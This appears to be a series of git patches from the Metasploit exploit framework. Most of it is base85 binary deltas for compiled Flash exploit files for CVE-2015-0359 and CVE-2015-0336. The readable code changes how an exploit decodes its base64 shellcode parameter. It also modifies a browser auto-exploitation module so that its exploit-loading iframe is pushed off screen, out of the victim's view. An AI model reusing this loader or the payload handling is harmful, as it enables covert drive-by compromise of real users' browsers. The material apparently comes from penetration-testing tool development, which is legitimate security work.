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 diff --git a/external/source/exploits/CVE-2015-0359/Msf.as b/external/source/exploits/CVE-2015-0359/Msf.as index 1bf0cd1947..3556b41542 100755 --- a/external/source/exploits/CVE-2015-0359/Msf.as +++ b/external/source/exploits/CVE-2015-0359/Msf.as @@ -43,7 +43,10 @@ package private function mainThread():void { - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) payload = b64.toByteArray().toString() ba.length = 0x1000 ba.shareable = true From 5d0053e4efd6e58f79dabdde7de60ee21dd900b3 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 27 May 2015 00:43:47 -0500 Subject: [PATCH 0206/1013] Move iframe instead of hiding, which seems to improve Flash reliability --- lib/msf/core/exploit/browserautopwnv2.rb | 29 +++++++++++++++++------- 1 file changed, 21 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 8cde1330d2..1ad9b4a24b 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -743,17 +743,30 @@ module Msf var currentIndex = 0; var exploitList = [#{exploit_list.map! {|e| "'#{e}'"} * ", "}]; + function setElementStyle(e, opts) { + if (typeof e.style.setAttribute == 'undefined') { + var attributeString = ''; + for (var key in opts) { attributeString += key + ":" + opts[key] + ";" } + e.setAttribute("style", attributeString); + } else { + for (var key in opts) { + e.style.setAttribute(key, opts[key]); + } + } + } + + function moveIframe(e) { + var opts = { + 'position': 'absolute', + 'left': screen.width * -screen.width + } + setElementStyle(e, opts); + } + window.onload = function() { var e = document.createElement("iframe"); e.setAttribute("id", "myiframe"); - //if (typeof e.style.setAttribute == 'undefined') { - // e.setAttribute("style", "visibility:hidden;height:0;width:0;border:0"); - //} else { - // e.style.setAttribute("visibility", "hidden"); - // e.style.setAttribute("height", "0"); - // e.style.setAttribute("width", "0"); - // e.style.setAttribute("border", "0"); - //} + moveIframe(e); document.body.appendChild(e); setTimeout("loadExploit(currentIndex)", 1000); } From 801deeaddf9e2478fce0b0a85b8c9d2e57997e88 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 17:20:49 -0500 Subject: [PATCH 0207/1013] Fix CVE-2015-0336 --- data/exploits/CVE-2015-0336/msf.swf | Bin 18060 -> 18121 bytes external/source/exploits/CVE-2015-0336/Msf.as | 7 +++++-- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/data/exploits/CVE-2015-0336/msf.swf b/data/exploits/CVE-2015-0336/msf.swf index 4a080464a1976c24c6aadb2ed1fad6110bf9983e..97b6ffe99c8b2f00fb4196a19f6bd600601dfc99 100755 GIT binary patch delta 17980 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 